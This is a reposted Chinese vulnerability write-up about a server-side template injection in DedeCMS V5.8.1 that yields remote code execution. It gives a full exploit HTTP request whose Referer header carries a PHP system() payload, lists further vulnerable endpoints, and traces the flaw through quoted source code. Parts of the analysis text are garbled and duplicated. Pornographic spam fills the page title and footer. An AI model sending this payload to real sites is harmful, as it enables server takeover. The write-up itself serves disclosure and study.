一区二区三区在线-一区二区三区亚洲视频-一区二区三区亚洲-一区二区三区午夜-一区二区三区四区在线视频-一区二区三区四区在线免费观看

服務(wù)器之家:專注于服務(wù)器技術(shù)及軟件下載分享
分類導(dǎo)航

DEDECMS|帝國CMS|Discuz|PHPCMS|Wordpress|ZBLOG|ECSHOP|蘋果CMS|極致CMS|CMS系統(tǒng)|

服務(wù)器之家 - 建站程序 - DEDECMS - DedeCMS V5.8.1 SSTI模板注入導(dǎo)致RCE漏洞

DedeCMS V5.8.1 SSTI模板注入導(dǎo)致RCE漏洞

2021-12-17 00:46勵志小施 DEDECMS

2021年9月30日,國外安全研究人員Steven Seeley披露了最新的DedeCMS版本中存在的一處SQL注入漏洞以及一處SSTI導(dǎo)致的RCE漏洞,由于SQL注入漏洞利用條件極為苛刻,故這里只對該SSTI注入漏洞進行簡要分析復(fù)現(xiàn)

DedeCMS V5.8.1 SSTI模板注入導(dǎo)致RCE漏洞

漏洞類型

SSTI RCE

利用條件

影響范圍應(yīng)用

漏洞概述

2021年9月30日,國外安全研究人員Steven Seeley披露了最新的DedeCMS版本中存在的一處SQL注入漏洞以及一處SSTI導(dǎo)致的RCE漏洞,由于SQL注入漏洞利用條件極為苛刻,故這里只對該SSTI注入漏洞進行簡要分析復(fù)現(xiàn)

漏環(huán)境搭建

【技術(shù)學(xué)習(xí)資料】

漏洞復(fù)現(xiàn)

這里使用phpstudy來搭建環(huán)境

DedeCMS V5.8.1 SSTI模板注入導(dǎo)致RCE漏洞

DedeCMS V5.8.1 SSTI模板注入導(dǎo)致RCE漏洞

DedeCMS V5.8.1 SSTI模板注入導(dǎo)致RCE漏洞

DedeCMS V5.8.1 SSTI模板注入導(dǎo)致RCE漏洞

網(wǎng)站前臺:http://192.168.59.1/index.php?upcache=1

DedeCMS V5.8.1 SSTI模板注入導(dǎo)致RCE漏洞

網(wǎng)站后臺: http://192.168.59.1/dede/login.php?gotopa...

DedeCMS V5.8.1 SSTI模板注入導(dǎo)致RCE漏洞

漏洞利用

  1. GET /plus/flink.php?dopost=save HTTP/1.1Host: 192.168.59.1Referer: <?php "system"(whoami);die;/*Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=rh4vs9n0m1ihpuguuok4oinerr; _csrf_name_26859a31=736abb4d994bae3b85bba1781e8a50f9; _csrf_name_26859a31__ckMd5=0f32d9d2b18e1390Connection: close 

DedeCMS V5.8.1 SSTI模板注入導(dǎo)致RCE漏洞

類似的URL還有:

  1. /plus/flink.php?dopost=save/plus/users_products.php?oid=1337     /plus/download.php?aid=1337/plus/showphoto.php?aid=1337/plus/users-do.php?fmdo=sendMail/plus/posttocar.php?id=1337/plus/recommend.php 
  2.  

DedeCMS V5.8.1 SSTI模板注入導(dǎo)致RCE漏洞

漏洞分析

漏洞入口位于plus/flink.php文件中,在該文件中如果我們傳入的dopost值為save且未傳遞驗證碼時,緊接著會去調(diào)用ShowMsg函數(shù):

DedeCMS V5.8.1 SSTI模板注入導(dǎo)致RCE漏洞

之后跟蹤進入到include/common.func.php文件中的ShowMsg()函數(shù)內(nèi)

  1. /** *  短消息函數(shù),可以在某個動作處理后友好的提示信息 * * @param  string $msg       消息提示信息 * @param  string $gourl     跳轉(zhuǎn)地址 * @param  int    $onlymsg   僅顯示信息 * @param  int    $limittime 限制時間 * @return void */function ShowMsg($msg, $gourl, $onlymsg = 0, $limittime = 0){    if (empty($GLOBALS['cfg_plus_dir'])) {        $GLOBALS['cfg_plus_dir'] = '..';    }    if ($gourl == -1) {        $gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';        if ($gourl == "") {            $gourl = -1;        }    }    $htmlhead = "    <html>\r\n<head>\r\n<title>DedeCMS提示信息</title>\r\n    <meta http-equiv=\"Content-Type\" content=\"text/html; charset={dede:global.cfg_soft_lang/}\" />    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no\">    <meta name=\"renderer\" content=\"webkit\">    <meta http-equiv=\"Cache-Control\" content=\"no-siteapp\" />    <link rel=\"stylesheet\" type=\"text/css\" href=\"{dede:global.cfg_assets_dir/}/pkg/uikit/css/uikit.min.css\" />    <link rel=\"stylesheet\" type=\"text/css\" href=\"{dede:global.cfg_assets_dir/}/css/manage.dede.css\">    <base target='_self'/>    </head>    <body>    " . (isset($GLOBALS['ucsynlogin']) ? $GLOBALS['ucsynlogin'] : '') . "    <center style=\"width:450px\" class=\"uk-container\">    <div class=\"uk-card uk-card-small uk-card-default\" style=\"margin-top: 50px;\">        <div class=\"uk-card-header\"  style=\"height:20px\">DedeCMS 提示信息!</div>    <script>\r\n";    $htmlfoot = "    </script>    </center>    <script src=\"{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit.min.js\"></script>    <script src=\"{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit-icons.min.js\"></script>    </body>\r\n</html>\r\n";    $litime = ($limittime == 0 ? 1000 : $limittime);    $func = '';    if ($gourl == '-1') {        if ($limittime == 0) {            $litime = 3000;        }        $gourl = "javascript:history.go(-1);";    }    if ($gourl == '' || $onlymsg == 1) {        $msg = "<script>alert(\"" . str_replace("\"""“", $msg) . "\");</script>";    } else {        //當網(wǎng)址為:close::objname 時, 關(guān)閉父框架的id=objname元素        if (preg_match('/close::/', $gourl)) {            $tgobj = trim(preg_replace('/close::/', '', $gourl));            $gourl = 'javascript:;';            $func .= "window.parent.document.getElementById('{$tgobj}').style.display='none';\r\n";        }        $func .= "var pgo=0;      function JumpUrl(){        if(pgo==0){ location='$gourl'; pgo=1; }      }\r\n";        $rmsg = $func;        $rmsg .= "document.write(\"<div style='height:130px;font-size:10pt;background:#ffffff'><br />\");\r\n";        $rmsg .= "document.write(\"" . str_replace("\"", "“", $msg) . "\");\r\n";        $rmsg .= "document.write(\"";        if ($onlymsg == 0) {            if ($gourl != 'javascript:;' && $gourl != '') {                $rmsg .= "<br /><a href='{$gourl}'>如果你的瀏覽器沒反應(yīng),請點擊這里...</a>";                $rmsg .= "<br/></div>\");\r\n";                $rmsg .= "setTimeout('JumpUrl()',$litime);";            } else {                $rmsg .= "<br/></div>\");\r\n";            }        } else {            $rmsg .= "<br/><br/></div>\");\r\n";        }        $msg = $htmlhead . $rmsg . $htmlfoot;    }    $tpl = new DedeTemplate();    $tpl->LoadString($msg);    $tpl->Display();} 

在這里我們可以看到如果gourl被設(shè)置為?1(間接可控),則攻擊者可以通過HTTPREFERER控制gourl被設(shè)置為?1(間接可控),則攻擊者可以通過HTTPREFERER控制gourl處變量的值,而該變量未經(jīng)過濾直接賦值給變量gourl,之后經(jīng)過一系列的操作之后將gourl,之后經(jīng)過一系列的操作之后將gourl與html代碼拼接處理后轉(zhuǎn)而調(diào)用tpl?>LoadString進行頁面渲染操作,之后跟進LoadString可以看到此處的sourceString變量直接由tpl?>LoadString進行頁面渲染操作,之后跟進LoadString可以看到此處的sourceString變量直接由str賦值過來,該變量攻擊者可控,之后將其進行一次md5計算,然后設(shè)置緩存文件和緩存配置文件名,緩存文件位于data\tplcache目錄,之后調(diào)用ParserTemplate對文件進行解析:

DedeCMS V5.8.1 SSTI模板注入導(dǎo)致RCE漏洞

ParserTemplate如下:

  1. /**     *  解析模板     *     * @access public     * @return void     */    public function ParseTemplate()    {        if ($this->makeLoop > 5) {            return;        }        $this->count = -1;        $this->cTags = array();        $this->isParse = true;        $sPos = 0;        $ePos = 0;        $tagStartWord = $this->tagStartWord;        $fullTagEndWord = $this->fullTagEndWord;        $sTagEndWord = $this->sTagEndWord;        $tagEndWord = $this->tagEndWord;        $startWordLen = strlen($tagStartWord);        $sourceLen = strlen($this->sourceString);        if ($sourceLen <= ($startWordLen + 3)) {            return;        }        $cAtt = new TagAttributeParse();        $cAtt->CharToLow = true;        //遍歷模板字符串,請取標記及其屬性信息        $t = 0;        $preTag = '';        $tswLen = strlen($tagStartWord);        @$cAtt->cAttributes->items = array();        for ($i = 0; $i < $sourceLen; $i++) {            $ttagName = '';            //如果不進行此判斷,將無法識別相連的兩個標記            if ($i - 1 >= 0) {                $ss = $i - 1;            } else {                $ss = 0;            }            $tagPos = strpos($this->sourceString, $tagStartWord, $ss);            //判斷后面是否還有模板標記            if ($tagPos == 0 && ($sourceLen - $i < $tswLen                || substr($this->sourceString, $i, $tswLen) != $tagStartWord)            ) {                $tagPos = -1;                break;            }            //獲取TAG基本信息            for ($j = $tagPos + $startWordLen; $j < $tagPos + $startWordLen + $this->tagMaxLen; $j++) {                if (preg_match("/[ >\/\r\n\t\}\.]/", $this->sourceString[$j])) {                    break;                } else {                    $ttagName .= $this->sourceString[$j];                }            }            if ($ttagName != '') {                $i = $tagPos + $startWordLen;                $endPos = -1;                //判斷  '/}' '{tag:下一標記開始' '{/tag:標記結(jié)束' 誰最靠近                $fullTagEndWordThis = $fullTagEndWord . $ttagName . $tagEndWord;                $e1 = strpos($this->sourceString, $sTagEndWord, $i);                $e2 = strpos($this->sourceString, $tagStartWord, $i);                $e3 = strpos($this->sourceString, $fullTagEndWordThis, $i);                $e1 = trim($e1);                $e2 = trim($e2);                $e3 = trim($e3);                $e1 = ($e1 == '' ? '-1' : $e1);                $e2 = ($e2 == '' ? '-1' : $e2);                $e3 = ($e3 == '' ? '-1' : $e3);                if ($e3 == -1) {                    //不存在'{/tag:標記'                    $endPos = $e1;                    $elen = $endPos + strlen($sTagEndWord);                } else if ($e1 == -1) {                    //不存在 '/}'                    $endPos = $e3;                    $elen = $endPos + strlen($fullTagEndWordThis);                }                //同時存在 '/}' 和 '{/tag:標記'                else {                    //如果 '/}' 比 '{tag:'、'{/tag:標記' 都要靠近,則認為結(jié)束標志是 '/}',否則結(jié)束標志為 '{/tag:標記'                    if ($e1 < $e2 && $e1 < $e3) {                        $endPos = $e1;                        $elen = $endPos + strlen($sTagEndWord);                    } else {                        $endPos = $e3;                        $elen = $endPos + strlen($fullTagEndWordThis);                    }                }                //如果找不到結(jié)束標記,則認為這個標記存在錯誤                if ($endPos == -1) {                    echo "Tpl Character postion $tagPos, '$ttagName' Error!<br />\r\n";                    break;                }                $i = $elen;                //分析所找到的標記位置等信息                $attStr = '';                $innerText = '';                $startInner = 0;                for ($j = $tagPos + $startWordLen; $j < $endPos; $j++) {                    if ($startInner == 0) {                        if ($this->sourceString[$j] == $tagEndWord) {                            $startInner = 1;                            continue;                        } else {                            $attStr .= $this->sourceString[$j];                        }                    } else {                        $innerText .= $this->sourceString[$j];                    }                }                $ttagName = strtolower($ttagName);                //if、php標記,把整個屬性串視為屬性                if (preg_match("/^if[0-9]{0,}$/", $ttagName)) {                    $cAtt->cAttributes = new TagAttribute();                    $cAtt->cAttributes->count = 2;                    $cAtt->cAttributes->items['tagname'] = $ttagName;                    $cAtt->cAttributes->items['condition'] = preg_replace("/^if[0-9]{0,}[\r\n\t ]/", "", $attStr);                    $innerText = preg_replace("/\{else\}/i", '<' . "?php\r\n}\r\nelse{\r\n" . '?' . '>', $innerText);                } else if ($ttagName == 'php') {                    $cAtt->cAttributes = new TagAttribute();                    $cAtt->cAttributes->count = 2;                    $cAtt->cAttributes->items['tagname'] = $ttagName;                    $cAtt->cAttributes->items['code'] = '<' . "?php\r\n" . trim(                        preg_replace(                            "/^php[0-9]{0,}[\r\n\t ]/",                            "", $attStr                        )                    ) . "\r\n?" . '>';                } else {                    //普通標記,解釋屬性                    $cAtt->SetSource($attStr);                }                $this->count++;                $cTag = new Tag();                $cTag->tagName = $ttagName;                $cTag->startPos = $tagPos;                $cTag->endPos = $i;                $cTag->cAtt = $cAtt->cAttributes;                $cTag->isCompiler = false;                $cTag->tagID = $this->count;                $cTag->innerText = $innerText;                $this->cTags[$this->count] = $cTag;            } else {                $i = $tagPos + $startWordLen;                break;            }        } //結(jié)束遍歷模板字符串        if ($this->count > -1 && $this->isCompiler) {            $this->CompilerAll();        }    } 

之后返回上一級,在這里會緊接著調(diào)用Display函數(shù)對解析結(jié)果進行展示,在這里會調(diào)用WriteCache函數(shù)

DedeCMS V5.8.1 SSTI模板注入導(dǎo)致RCE漏洞

在WriteCache函數(shù)中寫入緩存文件:

DedeCMS V5.8.1 SSTI模板注入導(dǎo)致RCE漏洞

在這里使用GetResult返回值sourceString來設(shè)置$result變量,該變量包含攻擊者控制的輸入數(shù)據(jù):

DedeCMS V5.8.1 SSTI模板注入導(dǎo)致RCE漏洞

之后調(diào)用CheckDisabledFunctions函數(shù)進行檢查操作,該函數(shù)主要用于檢查是否存在被禁止的函數(shù),然后通過token_get_all_nl函數(shù)獲取輸入,然而處理時并沒有過濾雙引號,存在被繞過的風(fēng)險,攻擊者可以通過將惡意PHP寫到臨時文件,之后在Display函數(shù)處通過include $tpl->CacheFile()將惡意臨時文件包含進來從而實現(xiàn)遠程代碼執(zhí)行:

DedeCMS V5.8.1 SSTI模板注入導(dǎo)致RCE漏洞

安全建議

目前官方已發(fā)布最新版本:DedeCMS V5.7.80 UTF-8正式版,建議升級到該版本

延伸 · 閱讀

精彩推薦
主站蜘蛛池模板: 美女的隐私视频免费看软件 | 天堂va亚洲va欧美va国产 | 久久综合狠狠综合狠狠 | 奇米影视久久777中文字幕 | 99视频精品国在线视频艾草 | 911精品国产亚洲日本美国韩国 | 99视频精品免费99在线 | 欧美性videossex丝袜 | 好大好长好紧爽免费 | 色综合网亚洲精品久久 | 国产香蕉视频在线观看 | 国产大神91一区二区三区 | 波多野结衣在线中文 | daring国家队在线观看樱花动漫 | 青春娱乐国产分类精品二 | 久久综合网久久综合 | 亚洲啊v天堂 | 99久久免费精品视频 | 国产精品久久久久a影院 | poronovideos极度残酷 | 6个老师的尿奴 | 91香蕉影院 | bl超h 高h 污肉快穿np | 大片毛片女女女女女女女 | 星球大战成人h无删减版 | 波多野结衣在线观看中文字幕 | www.久久艹| 俄罗斯一级淫片bbbb | 国产成人咱精品视频免费网站 | 久久天堂成人影院 | 国产79av| 亚洲精品福利你懂 | 欧美丰满大乳大屁在线观看股 | 四虎影院地址 | 五月天色网站 | 国产精品视频在线观看 | 精品小视频在线 | 美国女孩毛片 | 舔小说| 日本www色 | 95在线观看精品视频 |